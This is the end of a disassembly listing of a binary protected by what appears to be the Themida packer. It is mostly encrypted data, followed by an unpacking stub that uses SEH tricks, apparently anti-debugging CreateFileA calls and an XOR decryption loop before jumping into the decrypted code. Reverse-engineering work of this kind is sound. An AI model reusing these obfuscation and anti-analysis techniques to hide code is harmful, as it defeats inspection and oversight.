		dd 0A8BE8C3Fh, 0B5F86335h, 501CF903h, 0C840EA72h, 354AE04Ch
		dd 0B04A19B1h, 469CEB81h, 7719FF8h, 91049Eh, 30C2A335h
		dd 0DB83B44Eh, 0D0736BA6h, 0BB1010C1h, 4C62A955h, 55B38984h
		dd 0F04E5955h, 10F880EBh, 0B51FAE70h, 50BCF963h, 0F086E8B3h
		dd 689303AAh, 0F43724E0h, 111450A3h, 7B9E6841h,	764E6310h
		dd 56A2916Dh, 0DFC4A644h, 702E8889h, 71B20023h,	1B928B5Bh
		dd 0D69189D2h, 30CFD817h, 0D3A82BEDh, 0C919480Fh, 0D5BB3F40h
		dd 7076D95Dh, 108000F3h, 7F113A79h, 9200C5ACh, 38E56051h
		dd 0F814C8D2h, 0CFFD590Ah, 0B8B6033Fh, 8FC919ACh, 0A9C0854Eh
		dd 359D20CDh, 0D0947973h, 0D09E6011h, 3BEF865Eh, 2939F8BDh
		dd 7BC493D4h, 0FBD6CB81h, 8062A81Eh, 38AF21ADh,	0D1545085h
		dd 0D42AEBD8h, 783509FFh, 0BBA2B005h, 40FE4C92h, 0F853CB49h
		dd 67F01021h, 0A033A4F8h, 0D0240097h, 73C14B1h,	149A2B13h
		dd 0B325F6E5h, 40CE0442h, 0F4A9E019h, 90C001EAh, 0B0DA2DA5h
		dd 82B10B67h, 0C34225CFh, 5C6CAEA9h, 0A5BDA0F9h, 504CFEBDh
		dd 32AE6560h, 1BC30013h, 68A91C45h, 5BEC33C8h, 0E9365412h
		dd 9B077F9Eh, 20501810h, 122F9B9Fh, 0ACC369B5h,	93601091h
		dd 35F328AFh, 0D08402E7h, 0F8613AAh, 10C80088h,	0C4104855h
		dd 0ED773F90h, 7006A231h, 64D6E8F5h, 25C1DF42h,	0D074026Fh
		dd 0F3762A7Ah, 0DEB38C41h, 3FB749A6h, 50CDA0B7h, 2A62EF59h
		dd 93000072h, 0A0589C38h, 0A88143A7h, 5C4E7083h, 956768E7h
		dd 3082A057h, 7B988682h, 60F498ACh, 0C0D60343h,	4F1E83B5h
		dd 68B9C388h, 0F01E70D3h, 57038BDEh, 2BD1AFC9h,	0BB6CC0DEh
		dd 0C813D9F5h, 9FA01051h, 0B0BB2DA8h, 0A8514347h, 96EE7023h
		dd 35F7B8FAh, 30DE259Ah, 10B7C0AFh, 4415CBCBh, 6416E8B3h
		dd 0DB3DF02h, 0D0B402AFh, 0F05AE53Eh, 95DB804Bh, 30E2E2D9h
		dd 1274457Ch, 70ADE089h, 9F4C4798h, 0B05AED4Fh,	0D8337BE7h
		dd 0F04AE30Eh, 0D02B801Bh, 2485A337h, 12A4454Ch, 20A4E079h
		dd 0D2C8B57Ch, 25D5208Dh, 0D0547E85h, 0FF9EE58Bh, 1078376Eh
		dd 300E4905h, 0AF90C01Fh, 70526536h, 0AE600053h, 3B7F2F78h
		dd 5B144087h, 0B30561E7h, 0E5A0D08Fh, 99D5F26h,	403E7852h
		dd 73E19509h, 80F2BCA6h, 0C84F233Dh, 59E45015h,	0E0BC84F4h
		dd 2B180B8Bh, 20707C20h, 6B44B2BFh, 6024005Ch, 0ADE972F3h
		dd 0C09A200Dh, 0CF5C7755h, 7DCE6041h, 0D1637C15h, 7201A25Eh
		dd 0B499FB9Fh, 536F0EBh, 809483CFh, 0F4E51122h,	3BE55CD3h
		dd 7511A30Ah, 10A8C2B3h, 48672B25h, 0B8ECD01Dh,	8FF914EAh
		dd 9020A9F2h, 0BE4FA0ADh, 0A25807ECh, 0F8295BE8h, 0EFB402F4h
		dd 3FEB5FEAh, 0AF4272AAh, 54EA6BB6h, 0B974A7E2h, 4FF5207Dh
		dd 92CFAF68h, 901A2A30h, 5EB880CBh, 3CF960D6h, 940947DBh
		dd 0F9A6F05Bh, 8082C0B6h, 3863AD4Dh, 0D3F4404Eh, 0E04C1804h
		dd 0B58DE69Bh, 33848BFBh, 1277D48Dh, 8B3026E5h,	0C311C7EBh
		dd 0B5AA201Dh, 59C44037h, 0AE819C17h, 8507D7A8h, 30029EFBh
		dd 5F33285Eh, 7047FA3Ch, 0FA3450D3h, 4F854AC5h,	0C0AA9E92h
		dd 0AF6EE521h, 11CD0834h, 0BC0AA055h, 0B8033F8Bh, 7016E098h
		dd 0D64465F0h, 0E32F4CD4h, 0A21123B2h, 0B1071498h, 5C2D7F0Bh
		dd 0CFB2B067h, 40F2F2AAh, 24636959h, 78001031h,	0B01A2094h
		dd 0B16025F4h, 870105AAh, 631AE5B5h, 60F2C99Dh,	39EAA97Dh
		dd 15D18545h, 0CD385743h, 5815DFB5h, 0D0044064h, 954C05C2h
		dd 6257F4D8h, 5920F0A0h, 3500A9A9h, 2786859Eh, 6F483FFBh
		dd 0B0A8C8D2h, 0B5874047h, 9B8D0123h, 6258F00Eh, 5C4BD6FCh
		dd 5059A7CAh, 9874089Eh
		dd 8898FF1Ch, 0E38A20FDh, 0B1CC0372h, 0BEDB075Fh, 76B1F424h
		dd 5980F01Ch, 3560A909h, 272685FEh, 6FA7FF5Bh, 3D0E7032h
		dd 0C049D062h, 0A0EA0A01h, 0EFFF8171h, 20FC4AA0h, 74E0494Fh
		dd 4ED07596h, 503A0093h, 0F1629D10h, 801440A7h,	60EB9F81h
		dd 787890D6h, 3096A004h, 7ADAA4Bh, 329275C6h, 0FAB40043h
		dd 25057769h, 0D00402D3h, 0F3AA422h, 0ACC0Eh, 52F75FD5h
		dd 0F7CD0D1h, 38236DCAh, 0C6B01062h, 8EACB5C2h,	28674047h
		dd 4B7A6F8Eh, 9918808Bh, 2070F820h, 64CAABFh, 4EC47526h
		dd 500500E3h, 0B03EA402h, 109F4027h, 0F3A43011h, 78E9EA0Bh
		dd 0F002A075h, 12893FD9h, 0F336F097h, 145FFF3Bh, 0B06A26DAh
		dd 92D8C57Eh, 7D136001h, 10A8C24Bh, 72BA35C8h, 2BDC04Fh
		dd 8F56E013h, 801E6E06h, 4FC2A3ADh, 0D581C4C8h,	0F00460E1h
		dd 52D43504h, 0A55DA005h, 50ACFE45h, 7F2918CAh,	90F5BEE7h
		dd 0C08FA97Dh, 0E32450D5h, 0A1FD6378h, 1432D19Bh, 6CC75FB4h
		dd 0AF8CD0BDh, 6098A68Ch, 9F008533h, 0B0DFBAC9h, 593D7367h
		dd 0E04C1404h, 4179D19Bh, 3F42BFDDh, 0C5A390CFh, 7066DE67h
		dd 149FC086h, 0B0AA254Eh, 92BCC5BEh, 481D6041h,	10F8F280h
		dd 0C72AEB0Eh, 4015441Ah, 7046E0B9h, 936675F3h,	0A06A4868h
		dd 0D3467307h, 75F97E0h, 944D09DAh, 88E2B017h, 50FCE9E0h
		dd 732AAB02h, 80206826h, 0B39813BDh, 2795B716h,	8CFBE910h
		dd 0D3989049h, 36F9172Ah, 0DDF923C6h, 0C7E9F80Ah, 40031430h
		dd 98DB4BC4h, 0EAB590A4h, 9E27179Eh, 9375F422h,	4283AC8Fh
		dd 6CD74BEFh, 73A2A2A2h, 0D45D1001h, 691DDF15h,	553F8154h
		dd 0F00E22E1h, 346C0B68h, 0BF9293D5h, 506C785Dh, 0BF0D23F9h
		dd 2D2D0BF8h, 0B0AA6165h, 0E30BCBBBh, 91D2CCA8h, 6A348609h
		dd 100EA2E2h, 2460FC05h, 478DC25h, 0E5703C3Eh, 3B43C315h
		dd 88E17D16h, 0FBCA6074h, 429BD376h, 377AF65h, 0DBF33F80h
		dd 3971DD9Ah, 144F43FDh, 4FA5DFEBh, 853717DAh, 0EB0A6F4Fh
		dd 2D577FE4h, 2F1E362h,	0AFCC4440h, 20CB1F96h, 9F5F54D0h
		dd 4FD52519h, 389F7348h, 0FA19EFCh, 0EA90909Eh,	0D86D5FF9h
		dd 0AF533E3Eh, 8E2A6436h, 42D3FFACh, 0B0FA3685h, 2F77A887h
		dd 0F0C69F5Eh, 4D4880BBh, 4714D54h, 0AA95C0FFh,	1496E00Ah
		dd 253B32DCh, 0B0DA6245h, 0B6C6C933h, 0AAB35EF0h, 13FB0584h
		dd 6EB9A0A5h, 3692C383h, 3536DB58h, 935385FCh, 0F36D200Dh
		dd 0D0944031h, 364B6F41h, 0E6E88058h, 3F00FC36h, 501F7C0Bh
		dd 78756BA9h, 30F0A0FEh, 1EEE2F7Dh, 0ED8440F4h,	0D0BE4031h
		dd 131B0424h, 0BB59A045h, 50ECC097h, 9857F69Ah,	6FDFEF1Bh
		dd 0F286ADAEh, 1E5740D7h, 0F02E0162h, 10CCE178h, 0CF5C3BFDh
		dd 2A3ECFD0h, 0F3D6E04Ah, 80B2C0C6h, 0F281207Dh, 0C06ECB9Fh
		dd 0F44DA19Ah, 15B340F8h, 7AFB68E6h, 0D00949EFh, 73A6F05Bh
		dd 90780C79h, 0E1DA214Dh, 2F12FE8Fh, 729B507Eh,	0A12890A2h
		dd 0B3F79095h, 3A5CD0F6h, 28BF1EC9h, 3478147Bh,	3555DFFBh
		dd 12504FE5h, 65EF8282h, 10E8B9EFh, 0B5E5456Eh,	503CF91Bh
		dd 7146E0B9h, 159722A7h, 0B06A1969h, 0D0944004h, 552F6C54h
		dd 10D8B9BFh, 0CB1D5FAAh, 0DD7DCA84h, 7006D90Dh, 983000A3h
		dd 0B04A26D5h, 0D60C19D7h, 0A87E60F1h, 0EF7ED6E3h, 4C372ADAh
		dd 0D6CCD006h, 499ACADDh, 15880063h, 0B00A19F1h, 55C3A045h
		dd 0F05E5945h, 106880D3h, 8D02A980h, 508CF971h,	87739428h
		dd 80E984C6h, 0B0EA205Dh, 501F347Fh, 0E0271C2Ch, 0A04C85ABh
		dd 92F1D45h, 2469C0CFh,	0E3B605Eh, 95A0102Ah, 354DBE59h
		dd 0D0C479C3h, 0E0EE6061h, 0AD88890Fh, 303299E9h, 0D3B5B7ADh
		dd 6014246Ch, 369800E3h, 5875DF0Fh, 2F5BBD54h, 0F0BC11D9h
		dd 6C450B4Bh, 33F2B027h, 404E40E2h, 8C7D0899h, 144FFF4Ch
		dd 0B05A229Ch, 920CF56Ch, 0AE056011h, 0F8768327h, 0CF3D5D69h
		dd 52E74240h, 3A77E069h, 901060A7h, 0E2D4AB7Dh,	0C43E43E1h
		dd 74E1AD2h, 41046Eh, 3092A005h, 0D9B8B53Fh, 60842884h
		dd 558D53h, 3BFA3054h, 0C004280Ah, 0A78A93A1h, 1042E402h
		dd 30D72DD5h, 0A37CD0FFh, 939651ACh, 6714F321h,	0A0F3A4B8h
		dd 0D0E44057h, 5E7A6F51h, 0EF18808Bh, 0E1DA88D6h, 0DBB33F52h
		dd 6024584Ch, 9F5285F3h, 0B09AB889h, 0A801CB27h, 7BCE7003h
		dd 5A699011h, 3002C051h, 5856EB6Fh, 0B905E2DAh,	0AB4472C0h
		dd 0A07A4850h, 0B809CBF7h, 829E7001h, 34840B7Dh, 20BA05C6h
		dd 0D3ECC04Fh, 700688DEh, 0EAAB0093h, 0B87021A5h, 27D3B7C4h
		dd 0B2E2E56Ah, 957F80EBh, 30B29991h, 50BCC06Fh,	6821E23Dh
		dd 0B9FC7260h, 74BFA94Dh, 5B2450D5h, 0C03F48C2h, 29DC053Ch
		dd 3032A0F5h, 52F8C0FFh, 98F7F8EEh, 6F3FFC18h, 0B3D6CB14h
		dd 0A2DF6814h, 358318Dh, 9D71DF3Fh, 207B3000h, 98E149CFh
		dd 8376F0ABh, 9FCE5FA7h, 3727B22Ch, 0D0C44108h,	0C95CF56Bh
		dd 168D807Bh, 666A72ECh, 0D94AD2ABh, 57AE09E9h,	0CA9FFF09h
		dd 0B3766A66h, 5563504Dh, 0F0BE59A5h, 30C8803Bh, 45E7E1D8h
		dd 9471497Ch, 7316F0CBh, 80206826h, 0D8EDA3BDh,	0D06440D7h
		dd 795623DAh, 1098D38Ch, 70375725h, 51CCD000h, 4E6E059h
		dd 9843C774h, 10BA802Dh, 0E9B0C550h, 0F04E60D1h, 171C90DBh
		dd 0C7D948A7h, 0DBC63FF0h, 60F424A4h, 19D5E343h, 0BD010816h
		dd 92C4CDFCh, 0F2FD6081h, 5BB38340h, 0B4D757EDh, 536CD0E6h
		dd 486E0F9h, 58258B07h,	0B3BA306Fh, 0C096F0CAh,	5C6B6361h
		dd 11089039h, 20682B9Dh, 12404524h, 3A6FE0D9h, 197373EBh
		dd 0F28B28B7h, 88C7C307h, 743BEB31h, 78D89009h,	30F289F5h
		dd 904827Eh, 0FA76A398h, 80798226h, 34DFD7CDh, 0D07450DEh
		dd 84AE6001h, 7825831Dh, 86C2B025h, 0D459374Fh,	70F6F050h
		dd 0E5100283h, 47ECDE89h, 0C07DC432h, 0F45E60D1h, 9A7EF5EBh
		dd 20AB23B0h, 0D429371Fh, 70C6F000h, 0E5E00013h, 0B2FDAA66h
		dd 616EA45h, 0F9C59743h, 0D27A8731h, 0D2B4A27Fh, 34AEF318h
		dd 0FFF2C282h, 2D335821h, 0B0DA6261h, 6F604F57h, 0F019F8Bh
		dd 5AF83Eh, 82A75FA5h, 0AF4CD081h, 6024946Ch, 0B615FFF3h
		dd 3D9A3033h, 0C0F620AAh, 985BED41h, 41E89019h,	0CF02CA27h
		dd 405E9C3Ah, 0D6A31FA9h, 6F5010FDh, 0A0287C68h, 0F611BFF7h
		dd 7D9E702Fh, 0F9C89Eh,	68675F45h, 6ECD01Dh, 4EA47586h
		dd 35A30083h, 0B02A62F1h, 0D0BC83C7h, 0AD6E60E1h, 0FD098191h
		dd 30B2989Ah, 91B33077h, 60C360CCh, 53308563h, 40F5E8FEh
		dd 50A18198h, 333E70A4h, 3A5890F6h, 566ED5E5h, 5CA8BC7Eh
		dd 63D39175h, 6F04E853h, 0B5AFDFB2h, 2F0EF58Fh,	0FDC887Eh
		dd 3E497F64h, 663A8D4Ah, 75E4D2FBh, 1076E0E9h, 6F6FA5EBh
		dd 3B9355E2h, 5DF46473h, 0E09F28E4h, 18A80B6Bh,	362821E3h
		dd 609B39Dh, 8F46E0D1h,	0FAA48BD3h, 4F2A72EDh, 0C0AAB292h
		dd 0F86AE321h, 2F94BEBAh, 3397FC6Ah, 0B8F806ECh, 8FE91AEBh
		dd 6FCF7F4Bh, 8894142h,	0D06440A3h, 0DFC6D11Ah,	0F898800Bh
		dd 30B2A038h, 0E8CCE0FDh, 70E6E069h, 9000109Bh,	0B03EE28Dh
		dd 0D035C51Fh, 0F04D88C1h, 3CAA80DBh, 14D62DF5h, 0D3B20D03h
		dd 69CAE0D1h, 90D0E823h, 0E461205Dh, 5B597053h,	96F3E18Bh
		dd 0F8389092h, 0CFAD4022h, 506802BEh, 7587E6FBh, 7D0E0710h
		dd 0EB33F2FFh, 119415FFh, 0FF8B0100h
		db 89h,	0D2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	sub_6299B1
		jmp	short $+2
		xchg	ebx, ebx
		call	sub_629A73
		nop
		mov	ecx, ecx
		mov	ebp, 0
		clc
		jmp	loc_629A11

; =============== S U B	R O U T	I N E =======================================



sub_6299B1	proc near		; CODE XREF: Themida_:00629995p
		push	dword ptr fs:0
		xor	dword ptr ds:loc_515029+2, ebp
		nop
		mov	ecx, ecx
		mov	edx, edx
		mov	fs:0, esp
		xor	edx, edx
		push	80000000h
		push	edx
		push	edx
		push	edx
		push	2
		push	80h
		push	edx
		push	80000000h
		call	ds:dword_514000	; CreateFileA
		xor	eax, eax
		push	eax
		push	20h
		push	400h
		push	2
		push	80000000h
		push	80000000h
		push	80000000h
		push	eax
		push	eax
		call	ds:dword_514000	; CreateFileA


loc_629A11:				; CODE XREF: Themida_:006299ACj
		xchg	ebx, ebx
		nop
		clc
		cld
		nop
		call	sub_629A65
		mov	eax, eax
		sub	ebx, 0FFEF60A0h
		push	ebx
		xor	ecx, ecx
		or	ecx, 2A93h
		clc
		mov	edx, 85h
		cld
		clc


loc_629A35:				; CODE XREF: sub_6299B1+9Aj
		call	loc_629A84
		nop
		mov	edx, edx
		cld
		add	ebx, 1
		sub	ecx, 1
		nop
		jmp	short $+2
		xchg	ebx, ebx
		or	ecx, ecx
		jnz	short loc_629A35
		pop	ebx
		cld
		stc
		mov	edx, [ebp-8]
		mov	fs:0, edx
		jmp	short $+2
		nop
		leave
		jmp	short $+2
		jmp	short $+2
		xchg	ebx, ebx
		jmp	ebx
sub_6299B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_629A65	proc near		; CODE XREF: sub_6299B1+66p
		pop	ebx
		xchg	ebx, ebx
		cmc
		mov	ebx, ebx
		jmp	ebx
sub_629A65	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short $+2
		mov	ebx, ebx
		mov	edx, edx

; =============== S U B	R O U T	I N E =======================================



sub_629A73	proc near		; CODE XREF: Themida_:0062999Ep

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_629A73	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 87h,	0DBh
; ---------------------------------------------------------------------------
		cld
		cmc


loc_629A84:				; CODE XREF: sub_6299B1:loc_629A35p
		mov	al, [ebx]
		jmp	short $+2
		xor	ax, dx
		cmc
; ---------------------------------------------------------------------------
		dd 210h	dup(0)
		dd 7FFDF000h, 0B63h dup(0)
		db 0
byte_62D05D	db 3 dup(0)		; DATA XREF: sub_58A891+10BB1o
		dd 7E8h	dup(0)
Themida_	ends

; Section 5. (virtual address 0022F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0022F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 62F000h
		align 2000h
_idata2		ends


		end start